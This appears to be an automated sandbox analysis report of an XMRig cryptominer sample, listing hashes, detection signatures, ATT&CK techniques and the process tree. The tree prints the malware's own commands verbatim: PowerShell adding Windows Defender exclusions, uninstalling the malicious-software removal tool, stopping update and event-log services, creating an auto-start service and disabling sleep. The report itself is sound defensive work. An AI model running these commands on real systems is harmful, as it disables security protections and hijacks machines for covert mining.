xmrig | 75348cb42cd9388b4205754c3ffed9ac5bd13aa6c3f1917caa53acde8b29f349

Analysis

max time kernel
119s
max time network
103s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
21-07-2024 07:33

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General

Target

8969d20d6f6de4bf197080e655720050N.exe
Size

5.4MB
MD5

8969d20d6f6de4bf197080e655720050
SHA1

3af590ee498585e2373431719f62abfc9bef7df6
SHA256

75348cb42cd9388b4205754c3ffed9ac5bd13aa6c3f1917caa53acde8b29f349
SHA512

7f988b25e9ccc019143b66ac43d71f267594c15a7839dac2320ed8f047573f47c2237480625a7dd696c21b0b70d214dcb76fe85ffee0cd0c2e04451907fc520c
SSDEEP

98304:34Gr/W2hRkTwVNt6MkTi+XAVd18EjU6+cVX6IwUu:3jr/TMwVNtaP4KEjl6S

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/536-33-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/536-35-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/536-32-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/536-39-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/536-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/536-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/536-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/536-40-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2892	powershell.exe
1708	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
1180	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
472	Process not Found
3032	dddbhxbblxrl.exe

Loads dropped DLL 1 IoCs

pid	Process
472	Process not Found

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/536-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-33-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-28-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-27-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-35-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-32-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-39-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/536-40-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2224	powercfg.exe
2360	powercfg.exe
2372	powercfg.exe
2312	powercfg.exe
2564	powercfg.exe
3000	powercfg.exe
2928	powercfg.exe
2144	powercfg.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	dddbhxbblxrl.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	8969d20d6f6de4bf197080e655720050N.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3032 set thread context of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 set thread context of 536	3032	dddbhxbblxrl.exe	89

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1516	sc.exe
972	sc.exe
2124	sc.exe
2204	sc.exe
2636	sc.exe
2052	sc.exe
2772	sc.exe
1936	sc.exe
1720	sc.exe
1092	sc.exe
2848	sc.exe
2160	sc.exe
608	sc.exe
1656	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0f89f5040dbda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2796	8969d20d6f6de4bf197080e655720050N.exe
2892	powershell.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
2796	8969d20d6f6de4bf197080e655720050N.exe
3032	dddbhxbblxrl.exe
1708	powershell.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
3032	dddbhxbblxrl.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe
536	nslookup.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeShutdownPrivilege	2144	powercfg.exe
Token: SeShutdownPrivilege	2928	powercfg.exe
Token: SeShutdownPrivilege	2564	powercfg.exe
Token: SeShutdownPrivilege	3000	powercfg.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeShutdownPrivilege	2312	powercfg.exe
Token: SeShutdownPrivilege	2360	powercfg.exe
Token: SeShutdownPrivilege	2372	powercfg.exe
Token: SeShutdownPrivilege	2224	powercfg.exe
Token: SeLockMemoryPrivilege	536	nslookup.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 2704	2640	cmd.exe	38
PID 2640 wrote to memory of 2704	2640	cmd.exe	38
PID 2640 wrote to memory of 2704	2640	cmd.exe	38
PID 1180 wrote to memory of 1696	1180	cmd.exe	63
PID 1180 wrote to memory of 1696	1180	cmd.exe	63
PID 1180 wrote to memory of 1696	1180	cmd.exe	63
PID 2184 wrote to memory of 772	2184	cmd.exe	71
PID 2184 wrote to memory of 772	2184	cmd.exe	71
PID 2184 wrote to memory of 772	2184	cmd.exe	71
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 2036	3032	dddbhxbblxrl.exe	84
PID 3032 wrote to memory of 536	3032	dddbhxbblxrl.exe	89
PID 3032 wrote to memory of 536	3032	dddbhxbblxrl.exe	89
PID 3032 wrote to memory of 536	3032	dddbhxbblxrl.exe	89
PID 3032 wrote to memory of 536	3032	dddbhxbblxrl.exe	89
PID 3032 wrote to memory of 536	3032	dddbhxbblxrl.exe	89

C:\Users\Admin\AppData\Local\Temp\8969d20d6f6de4bf197080e655720050N.exe
"C:\Users\Admin\AppData\Local\Temp\8969d20d6f6de4bf197080e655720050N.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2796
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2704
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2848
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2636
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2160
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:608
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2052
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2144
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2928
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2564
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "NCUDPJVW"
  2⤵
  - Launches sc.exe
  PID:2772
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "NCUDPJVW" binpath= "C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:1936
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:1720
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "NCUDPJVW"
  2⤵
  - Launches sc.exe
  PID:1092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\8969d20d6f6de4bf197080e655720050N.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1180
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1696

C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
C:\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:772
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1516
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:972
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1656
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2124
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2204
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2224
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2036
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

\ProgramData\eowgjsemsmrx\dddbhxbblxrl.exe

Filesize
5.4MB

MD5
8969d20d6f6de4bf197080e655720050

SHA1
3af590ee498585e2373431719f62abfc9bef7df6

SHA256
75348cb42cd9388b4205754c3ffed9ac5bd13aa6c3f1917caa53acde8b29f349

SHA512
7f988b25e9ccc019143b66ac43d71f267594c15a7839dac2320ed8f047573f47c2237480625a7dd696c21b0b70d214dcb76fe85ffee0cd0c2e04451907fc520c

Download Submit
memory/536-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-27-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-34-0x0000000000350000-0x0000000000370000-memory.dmp

Filesize
128KB

Download
memory/536-33-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-32-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-35-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-39-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-40-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-28-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/536-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1708-16-0x0000000019F50000-0x000000001A232000-memory.dmp

Filesize
2.9MB

Download
memory/1708-17-0x00000000011F0000-0x00000000011F8000-memory.dmp

Filesize
32KB

Download
memory/2036-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2036-18-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2036-23-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2036-21-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2036-25-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2036-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/2892-10-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

Filesize
9.6MB

Download
memory/2892-11-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

Filesize
9.6MB

Download
memory/2892-4-0x000007FEF62FE000-0x000007FEF62FF000-memory.dmp

Filesize
4KB

Download
memory/2892-9-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

Filesize
9.6MB

Download
memory/2892-8-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

Filesize
9.6MB

Download
memory/2892-7-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

Filesize
9.6MB

Download
memory/2892-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

Filesize
32KB

Download
memory/2892-5-0x000000001B510000-0x000000001B7F2000-memory.dmp

Filesize
2.9MB

Download